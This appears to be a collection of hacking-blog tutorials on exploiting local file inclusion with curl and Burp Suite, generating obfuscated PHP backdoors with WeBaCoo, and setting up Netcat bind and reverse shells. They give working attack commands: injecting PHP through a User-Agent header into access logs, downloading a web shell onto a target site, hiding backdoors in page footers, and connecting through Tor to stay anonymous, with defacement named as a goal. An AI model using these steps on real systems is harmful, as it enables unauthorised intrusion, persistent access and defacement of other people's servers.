It's been a Good Year - What will come next?

Hey there everybody,

I just wanted to take a quick minute to say that it has been an exciting past year. I have learned a ton and found I truly master it when I try to come up with a way to turn around and share that knoweldge with others. This method is one I strongly beleive in as it lets others learn from your mistakes, makes admins aware of new methods being used by hackers and attackers, and in general it helps to improve security all around. I am eager to jump into the new year to see what is in store. I know I personally will be working on really stepping my game up a bit and trying to tackle some new areas I have not dived into before in addition to trying to pick up a little programming knowledge. I will continue to post as many tutorials as I can on as many subjects as I can in the new year. If you want to make any suggestions or requests feel free to drop me a line or post them in the comments section below.

I wish you all a happy and succesful new year!

Laters,
H.R.

PS - party safe!

Using CURL to exploit LFI to RCE from command line

I was having fun with curl and decided to make a short video to show how it can be used for all sort of things. It is extremely versatile command line utility, and if you are a command line junkie then this is a must have tool for you (works on all systems). In video I show how you can make basic connections, store output/responses, how to quickly search a file in Winblows for content, and finally how to exploit an LFI vulnerability from the command line with cURL. These methods can easily be adapted to perform SQL Injections, RFI, XSS, etc. For more details on cURL I highly suggest spending some time reading through their docs and tutorials on the homepage, which can be found here: http://curl.haxx.se/

If you're interested to learn more about LFI then please check my previous articles which covered the /proc/self/envron method as well as the LOG File Injection method. Hope you enjoyed this brief video tutorial. Until next year, Enjoy!

How To use the Web Backdoor Cookie script-kit a.k.a. WeBaCoo

FROM THE SITE: https://github.com/anestisb/WeBaCoo/downloads

WeBaCoo (Web Backdoor Cookie) is a web backdoor script-kit, aiming to provide a stealth terminal-like connection over HTTP between client and web server. It is a post exploitation tool capable to maintain access to a compromised web server. WeBaCoo was designed to operate under the radar of modern up-to-dated AV, NIDS, IPS, Network Firewalls and Application Firewalls, proving a stealth mechanism to execute system commands to the compromised server. The obfuscated communication is accomplished using HTTP header's Cookie fields under valid client HTTP requests and relative web server's responses.

…

OK, so if you could not tell – today I am going to give a quick overview of a recent tool release called WeBaCoo. The description from the develop can be found above, but in short it can generate PHP payload code as well as obfuscated PHP payload code for backdoor. The backdoor is connected to via webacoo.pl perl script and communication occurs through HTTP while commands are actually passed through the cookie parameters. Pretty cool stuff in my opinion! Here is my walk through with it…

In order to get started for those of you who want to take advantage of the TOR functionality you will need to also install the libio-socket-socks-perl which can be done through ppm at the command line very easily. Just drop to command line and install via ppm with this command:

COMMAND: ppm install IO:Socket::Socks

This should get you what you need to get started and on your way, here is a shot of what it looks like:

We can confirm things are working properly by just issuing the help command and reviewing all the options. If you have errors, read the messages and continue to install any other packages which may be required. You should see something like this if all went well:

OK now that we have our bases covered we can dive into things…let’s start creating some backdoors with this great little tool kit. We will first be creating a simple backdoor without any obfuscation and then we will work our way up from there. We start by with a simple command following the syntax outlined in the help menu:

COMMAND: webacoo.pl –g –r –o /path/to/output/default-backdoor.php

This will generate code for a backdoor (-g) without any obfuscation (-r) and will output it where we want and named as provided with the “-o” argument. That is all that is needed for creating a basic PHP backdoor. Here is a screenshot of the command terminal view:

Here is a quick view of the generated code:

Now the default setting is to run the code generation without the “-r” option so that the generated code is obfuscated to allow it to remain under the radar a bit longer than average. The NON “-r” version of the same command above:

It results in the following code being generated as a result:

As you can see there is a noticeable difference which is going to aid in preventing it from being detected by basic source code analyzers and/or anti-virus type scans. If the system does not allow the use of the system() function to execute commands you can also have this modified upon code generation by taking advantage of the “-f” argument followed by the number which represents the command method you would like to leverage.

The options for the “-f” arguments are:

                                1: system()        

*This is used as the default

                                2: shell_exec()

                                3: exec()

                                4: passthru()

                                5: popen()

The syntax works the same as our initial code generation with the simple addition of the new argument and options. Here is a quick example of switching to the passthru() method for command execution:

COMMAND: webacoo.pl –g –f 4 –o /path/to/output/backdoor-sys-alt.php

Output results appear as follows:

Output results for the “-r” option so you can get an idea of what is going on:

OK, so that covers the basic creation of the PHP backdoor code which we will be using. I will leave it up to you to get your code uploaded onto the target server, there are many methods and many have been documented here on this blog. Once the code is uploaded to our target server we can use it to create a terminal like experience using HTTP client server relationship (I should mention I also like to hide it in footers or specific pages to allow quick and easy re-entry later if needed). As noted by its makers: “The obfuscated communication is accomplished using HTTP header's Cookie fields under valid client HTTP requests and relative web server's responses.” Assuming we have our code uploaded, I will now show you how it works in action. In order to connect to our uploaded backdoor we just use a few very simple commands:

COMMAND: webacoo.pl –t –u http://www.site.com/backdoor.php

NOTE: You need to include the http:// portion of the URL on connection or you will get an error message relating to line 106 relating to host value…

WeBaCoo will start off by trying to get some basic info for you, but the default commands are setup for a Linux environment. You might get a small error message upon connection to Windows environment as shown above but it should not give you any problems. In Linux you will be greeted with the id of the current user. You can now go about executing commands on the remote target as if you were sitting there – game over! If you want to see the headers that are being sent in the terminal you can increase the verbosity level, but I prefer to use the defaults as it can really clutter the terminal screen. Here is a quick view of what the request looks like to initialize the shell:

If you don’t have a VPN and still want to keep yourself remaining anonymous, WeBaCoo has also included support for Proxies as well as the TOR network (in the latest release). We can activate proxy or TOR support by using a few additional flags or arguments to our above command structure; it should look like one of the following depending on your situation:

Enable Proxy Support:

COMMAND: webacoo.pl –t –u http://www.site.com/backdoor.php -p <IP>:port

Enable Authenticated Proxy Support:

COMMAND: webacoo.pl –t –u http://www.site.com/backdoor.php -p user:pass:<IP>:port

Enable TOR Support:

COMMAND: webacoo.pl –t –u http://www.site.com/backdoor.php -p tor

NOTE: You can change the default port setting of 9050 on 127.0.0.1 by altering the value set on line 38 of the webacoo.pl file itself (most of the script is well commented for easy edits). Also note that I was unable to properly get connected to the remote host due to problems establishing socks connections, possibly due to Winblows environment but still remain unclear to me…

OK, well this brings it to an end for my walk through with WeBaCoo. This tool is very cool and indeed handy as well. I encourage you to check it out, as it is very easy to use and pickup. The source is also well commented making it easy to edit if and where needed. Continue your thirst for knowledge and innovation, and as always Enjoy!

BONUS VIDEO:

BURP SUITE - PART IV: LFI EXPLOIT via LOG INJECTION

OK so today I will extend our Burp Suite & LFI series to now cover how we can use the Burp Suite tools to exploit LFI vulnerability through LOG INJECTION technique. It will follow a very similar process to my previous tutorial on exploiting via /proc/self/environ but we will be working with different files. Here goes…

PREREQUISITES:

·         LFI Vulnerable Site

·         Burp Suite Tool: http://portswigger.net/burp/download.html

o   HR’s Burp Suite Pack - Part II (Now Updated) 

·         Working knowledge of Burp Suite tools and LFI vulnerabilities. If you need some refreshers you can check my previous Burp tutorials or use our old fried Google:

o   Burp Part I – General Intro via SQL Injection: http://kaoticcreations.blogspot.com/2011/11/burp-suite-part-i-intro-via-sql.html

o   Burp Part II – SQL Auth Bypass Technique: http://kaoticcreations.blogspot.com/2011/11/burp-suite-part-ii-sql-authentication.html

o   Burp Part III – LFI Exploitation via /proc/self/environ: http://kaoticcreations.blogspot.com/2011/12/burp-suite-part-iii-lfi-exploitation.html

o   Manual LFI EXploiation via /proc/self/environ: http://kaoticcreations.blogspot.com/2011/12/exploiting-lfi-vulnerabilities-via.html

o   LFI Trick to read source code using php://filters: http://kaoticcreations.blogspot.com/2011/12/lfi-tip-how-to-read-source-code-using.html

·         A brain J

We start off by noticing our site has a link which is pointing to a file on ther server. We do a quick check as outlined in previous tutorials for the /etc/passwd file as well as /proc/self/environ. We find we have access to the /etc/passwd file but we don’t have access to /proc/self/environ (or it just isn’t proper access to load a shell as shown in previous write up). I will now show you how we can try another method to see if we can load a shell on the remote site via LFI technique known as LOG INJECTION. Essentially we will enumerate possible files on the remote server in hopes of finding log files which we can then use to manipulate and inject our code on. When the log files are called using our LFI vuln the injected code will be executed. In the end we will exploit this to load a shell on the site. Here is the walk through of how it should be done, I will start with our initial find and work from there…

We found LFI and can access a few files, I will start with /etc/passwd:
EXAMPLE: http://www.site.com/showfile.php?FILE=/etc/passwd

From here we will use Burp Suite to quickly enumerate all possible files we might be able to access. If you download HR’s Burp Pack Part II then you can use the /LFI/LFI-LogFileCheck.txt as your payload with the INTRUDER tool, and then we load the /Grep/lfi.txt file for our grep options which will help us in locating not only /etc/passwd files but also log files (in the updated download). If you want to search for all possible juicy files on the system you could run the /LFI/LFI-InterestingFiles.txt as the payload instead which will check for pretty much everything. Here the quick steps to setup properly for log file check:

Stage the request by sending it to the INTRUDER tab:

Prep your positioning for payload and attack:

 Once positions are set we need to select our payload. If you use my download then you can use the /LFI/LFI-LogFileCheck.txt as your payload to run a check specifically for log files. If you prefer to run a broader check for pretty much all files then you might try using the /LFI/LFI-InterestingFiles.txt as payload option instead, you can edit any of the files to your hearts content to customize further.

Select Payload for runtime file:

Set grep settings to aid in picking up success and failure:

Run the INTRUDER tool...

When we run the INTRUDER tool we will look for the results on our grep as well as the size of the returned requests. We do this as the grep file has a ton of useful items in which commonly show up in /etc files as well as log files (based on my experience). Additionally the size of the returned request will often times be the quickest indicator we have found a log file, as they will almost always be expontentially larger than the other requests in size based on the content included.

NOTE: In some cases the log file may be present but unreachable due to memory allocation restrictions on the remote server, not much to do about this.

If successful you will end up with something similar to one of these:
EXAMPLE ACCESS LOGS: http://www/site.com/showfile.php?FILE=/var/log/httpd/access_log

Once you have found the log files on the server you will need to review them for a few crucial elements which may or may not play a role in your being successful pulling this technique off:

·         How up to date are the log files?

·         What information seems to be included in the log files?

o   Can we see referrer details in the log info?

o   Can we see user-agent details in the log info?

o   If you view source does the most current log record appear to be junked up by any open ended html tags?

o   Any signs of other injection attacks by previous hackers?

All of this information helps us to build our attack. If you are lucky you will have logs which are fully up to date and clean, which makes things much easier. If the logs are delayed then you may actually have to wait for the code injections to actually take place and results become visible (continue checking back). If there are HTML tags caused by log records then you may have to get creative and find a way to close them out with your own injection into the logs to do so. You will want to do this before you start trying to inject code, as otherwise it will be ignored and read as HTML (hint you can also occasionally see XSS injections executed this way in admin log files when they go to review – bam alert…or worse cookie theft!) In order to start we send our request to the repeater to allow us to test first to see if we can inject a request to phpinfo(). We will inject our PHP code via the User-Agent field for this tutorial, but in some instances you may need to try injecting your code via the Referrer field or even the cookie (again this will be better determined by the results of those simple questions above, use some logic to make a decision). Either way it flows like this:

REQUEST TO KNOWN FILE WITH PHP COMMAND INJECTED INTO USER-AGENT FIELD (I use the access log itself here since we found it already and we are also using it to read results so its win-win):

NOTE: for this example I had up to date logs and had better results returning request fields via the access log as opposed to the error log, again you have to interpret the page results and make an informed decision (trial and error helps too). If successful you will see the phpinfo() returned in the log file, like so:

If this works, we continue to check for further code injection. I like to test the ID and UNAME before I go for the kill shot. We continue to use Burp Suite and REPEATER tool at this point to continue altering our request. We now alter the request slightly and resend:

CHANGE:

User-Agent: <?php phpinfo(); ?>

TO:
User-Agent: <?system('uname -a');?>

This is fantastic! We can read the results of the command injection right from the log file itself. This can be seen either from the Burp Suite console itself or you can navigate to it in your browser after injecting to see it for yourself (or if you are doing this manually just use Browser and Add-ons to change referrer or user-agent fields with code and search page for results). 

OK, now I like to do a quick check of what is going on behind the scenes as well as test a few more commands so I typically will issue “ls- lua” command and review the results, the process will work the same for pretty much any commands you issue but here is some sample results to show you how clear the results come back:

NOTE: the above can also help if you have problems writing to a certain location in the next step…

OK so we can inject commands, now we will go for the kill and see if we can successfully inject command to reach out to a remote location to download a shell and then rename it on the site so we can access for further site compromise. You can use CURL or WGET to accomplish this task, if you need reference syntax check their site or my previous tutorial on /proc/self/environ method. Here is an example of what the CURL method looks like (WGET was not working in this case):

As you can see we don’t have any real visual guidance that it has been successful or not, so you need to check the new file manually. If you can’t find it easily you can always try calling it via the original LFI vulnerable link (i.e. http://www.site.com/showfile.php?FILE=shell.php). You can also use the Spider feature in Burp Suite to quickly assess the sites infrastructure in effort to find your shell. Simply click on Target tab within Burp and then right click www.yoursite.com and chose the “spider host from here” option:

NOTE: you can alter the settings for this approach on the scope tab as well as the spider tabs

This is especially helpful for finding shells with authentication requirements as well as general admin pages as you will get a prompt for any authentication pages as it requests you provide details or choose to ignore, thus giving away its location (it’s one of my secret ninja tricks)….Then you simply go to your shell:

w00t - you have successfully injected a shell through LFI LOG INJECTION technique! I hope you have found this write-up informative, insightful and educational. You now have web-shell with control over the site which can allow you to further escalate privileges, deface index, etc - pretty much game over at this point! I think this wraps up my coverage of LFI vulnerabilities and exploits, but I will continue to pursue further scenarios where Burp Suite can be used in the future so stay tuned and check back oftent to see what else I put out there. If you have suggestions, comments, and/or questions do let me know by leaving a comment or sending me a message. As always and until next time, Enjoy!

VIDEO!

NETCAT 101

Today I will go over the basics of the Netcat tool. This is a tool that can be used by anyone and can be used for many purposes. I will try to present a basic introduction to its general use, with a bias towards hacking aspects, and if you’re lucky I might follow up with some more advanced tutorials down the road. This should provide you with enough to get started and on your way. I will present everything in the usual manner, so try to keep up…

Prerequisites:

-          Copy of Netcat: http://www.downloadnetcat.com/

o   This download contains both the Linux make files which can be easily compiled as well as the windows .exe binary file. If you need help with the Linux compiling there are some notes in the readme & hobbit text files included with download.

o   Microsoft .EXE Version: http://www.downloadnetcat.com/nc11nt.zip

o   Linux/Unix/BSD: http://www.downloadnetcat.com/netcat-0.7.1.tar.gz

o   GNU Netcat Project: http://netcat.sourceforge.net/download.php

-           Access to testing machine(s)

o   I will present the tutorial using multiple machines, but this can all be done within a single machine if you do not have the proper resources available (It is just 10x easier to show and explain with two machines). Check the readme for some guidance if you don’t get things after reading the tutorial

-          A Brain and some common sense J

WHAT IS NETCAT?

Netcat is a program or utility which reads and writes data across network connections, using TCP or UDP protocol. In its simplest form it creates a TCP connection to the target port of the target host.  Your standard input is then sent to the host, and anything that comes back through the connection is sent to your standard output. Netcat can function as either the server or client in the connection relationship. You can enable it to listen for inbound connections on any port or user specified port as well as the ability to be used for outbound connections as well. You can even bind a service or program to the connection so it is served up to the other end of the connection (you know, things like /bin/bash or cmd.exe). Netcat can also work in UDP mode in the same manner as TCP, but I won’t be covering this much here as I will leave this for a more advanced follow up. I encourage you to read the readme and hobbit text files included with the download as they provide some good insight into the inner workings of this great tool. I will now try to show some examples of how we can use it to accomplish some basic stuff, but first run the help menu to see the available options:

NOTE: I used the additional “-s <Insert-Source-IP>” flag to define the source IP address. I did this as I am running the examples through my localhost and virtual machines. I was having problems with getting successful connection when listening on any IP, which is the default behavior…

BANNER GRABBING:

We can use Netcat to do some quick banner grabbing to see what type of system a target site is using, we use this simple command:

COMMAND(from Machine A): nc -v www.targetsite.com 80

NOTE: you can use IP address as well instead of www.name.com if you prefer

This will make a basic connection to www.targetsite.com on port 80, now you will need to type the following to read the HTTP header to find out some basic info about the target site/server:

IN EXISTING  COMMAND PROMPT:

GET / HTTP/1.0

OR

HEAD / HTTP/1.0

<ENTER>

<ENTER>

...

RESPONSE:

OR it might look more like this one:

The point is that we can use Netcat to do port checks and banner grabs very easily. You can even change the port number to check the banners for different ports to see what version a particular service may be running. If you review the images above you can see we can find out the server type, version info, etc. You never really know what you will find running on a target host unless you check and sometimes you may just stumble across some low hanging fruit (outdated IIS, Apache, and others with well-known and publicly available exploits).

BASIC NETCAT CONNECTION OR CHAT RELAY:

If we want to use NETCAT in its most basic form of sending input from Machine A to Machine B we can simply create a listener and connect to it. Anything you type on one end will come out on the other side, which can make for a crude way to have a two way chat session. It looks like this to set things up:

COMMAND (from Machine A): nc –v –l –p 31337

COMMAND (from Machine B): nc –v <Insert-Machine A IP Address> 31337

First we create a listener on Machine A. Once we have the listener established, we enter the other commands on Machine B in which instruct Netcat to make an outbound connection to the Machine A IP address on port 31337. Once this is done you have a successful Netcat connection which can relay input from Machine A to Machine B, allowing you to create your very own chat relay. Try it with a friend!

OK, that’s cool H.R. but why don’t you show me something cool you say….

OK, how about we review how we can use Netcat to setup a BIND SHELL or a REVERSE CONNECT SHELL!

Yes that’s right, we can use Netcat and its ability to open inbound and outbound connections and take it a step further. We will use Netcat with the “-e” argument to execute a program and bind that program to our defined port. In this example I will be using the cmd.exe on windows and the /bin/bash shell for Linux allowing us to be greeted with command shell access upon successful Netcat connection between Machine A and Machine B. The commands to set this up looks like this:

BIND SHELL:

COMMAND(from Machine A): nc –v –l –p 31337 –s <Insert Source IP for Machine A> –e cmd.exe

NOTE: I used the optional “-s <Insert-Source-IP>” flag to define the source IP address.

COMMAND(from Machine B): nc –v <Insert Machine A IP Address> 31337

This will BIND cmd.exe with the Netcat listener on Machine A to port 31337 (the –s flag is optional). When we connect to Machine A from Machine B we will be greeted with the cmd.exe command console allowing us to execute commands on Machine A from Machine B.

*SPECIAL NOTE*: The above was for a Windows environment. Under Linux the process is entirely the same except you would need to change the “–e cmd.exe” to “–e /bin/bash” on Machine A which is spawning the listener with the binded command shell. The above would look like this for Linux:

COMMAND(from Machine A): nc –v –l –p 31337 –e /bin/bash –s <Insert Source IP for Machine A>

NOTE: I used the optional “-s <Insert-Source-IP>” flag to define the source IP address.

COMMAND(from Machine B): nc –v <Insert Machine A IP Address> 31337

FULL Picture:

A special note that the “-l” will only establish a temporary listener that will be killed when the connection is terminated. If you would like to keep a persistent listener then you can change to the uppercase version or “-L”. This can be a dangerous thing to do as there is no authentication mechanism built into Netcat itself, so if you do this do it with caution. That basically sums up how to use Netcat to setup a BIND shell, now let’s cover how to setup a reverse or back-connect shell so we can have the executed command shell phone home J

REVERSE OR BACK CONNECT SHELL:

Above we setup a listener on the target site which we had executing shell commands when we connected. This was cool, but we can modify things a bit and change it so that we create a reverse or back-connect shell on are target site and then we can have our command shell phone home. This is also another way you can increase your chances of evading ingress filters and firewall restrictions if the BIND method is not working. The command syntax will be similar to what we used above but we will modify slightly so that instead of listening we are back-connecting (as well as executing our /bin/bash shell). It will look like this:

COMMAND(from Machine B): nc –v –l -p 31337 –s <Insert Source IP for Machine B >

NOTE: I used the optional “-s <Insert-Source-IP>” flag to define the source IP address.

COMMAND(from Machine A): nc –v <Insert Machine B IP Address> –p 31337 –e /bin/bash

Upon Connection Machine B will be granted a /bin/bash shell in which they can then execute commands on Machine A from Machine B. We have successfully back-connected a working shell from Machine A to Machine B using Netcat!

NOTE: I had to back-connect from another PC running Linux due to no luck on Virtual Machine for some unknown reasons. I also had to temporarily disable my AV firewall as well as Windows firewall for the back-connect to be accepted on my Windows 7 machine (Machine B). This is not required in all cases but I could not get it to work despite my efforts to set up custom rules and exceptions. This is not a safe practice but it allows the connection through, so don’t forget to turn things back on when you are done…

COPY FILE FROM ONE MACHINE TO ANOTHER USING NETCAT:

OK, so we have a file on our target server (Machine B in this case) and we want to transfer it to our local machine (Machine A)…here is how we can do it using Netcat:

COMMAND(from Machine A): nc –v –l –p 31337 –s <Insert Source IP Address> > FileReceivedUponConnection.txt

COMMAND(from Machine B): nc –v <Insert Machine A IP Address> 31337 < FileToSendUponConnection.txt

We basically create a listener on Machine A, in this case our Linux box, and we point it to take anything received upon connection and send it to MachineA-received.txt file. We then create an outbound connection from our local Machine B to Machine A and we tell it to send the MachineB-test.txt file upon connection (regardless if it is requested or not). Upon connection we see the creation of the text file on Machine A with its new relabeled file name MachineA-received.txt, inside contains the exact content from the file sent by Machine B

OK, well that sums up my basic introduction to the wonderful network tool that is NETCAT. I hope you have found this tutorial informative and helpful. If you are starting out in the world of admins, security and/or hacking then you MUST get these basics down if you want to elevate your skills and take things to the next level. As always and until next time, Enjoy!

BONUS VIDEO:

A FEW SPECIAL NOTES:

NCAT:

·         You can also use the newer program NCAT which is included in the latest NMAP download/installation. The command syntax is almost identical but you may need to review the help menu for a quick review of the subtle differences, repeat evertything here with ncat instead of nc or netcat and it should work for you.

COMPILING NETCAT:

·         If you need to compile Netcat from source under a Linux environment here is a quick run through of the steps you would need to take:

1.       Upload the source files included in the download to your target server you want to use Netcat on, you may want to create a new folder just for it to keep things clean until you have the hang of things…

2.       Open command terminal in the directory you just uploading everything into

§  COMMAND: cd /path/to/upload/nc

3.       Now we need to configure the source followed by a make command. I like to do this in one step and combine the two by using the && to combine the commands

§  COMMAND: ./configure && make <Insert SYSTEM Type> -DGAPING_SECURITY_HOLE -DTELNET

o   Supported SYSTEMS include: Linux, MSDOS, generic, SunOS, Solaris, AIX, HPUX, FreeBSD, and a few others. If you need the full list you can review the source or you can simply choose to compile with the “generic” system definition.

o   “-DGAPING_SECURITY_HOLE” allows us to execute programs like command shells, so this will be needed if you are trying to create a BIND or Back-Connect Shell

o   “–DTELNET” allows us to enable support for auto-negotiation in our netcat so that we can use it to connect to a telnet server should we want it to (if we are compiling from scratch anyways, why not)

4.       COMMAND: nc –h

Type this at the command console you are using and hopefully you are properly greeted with the help menu for Netcat.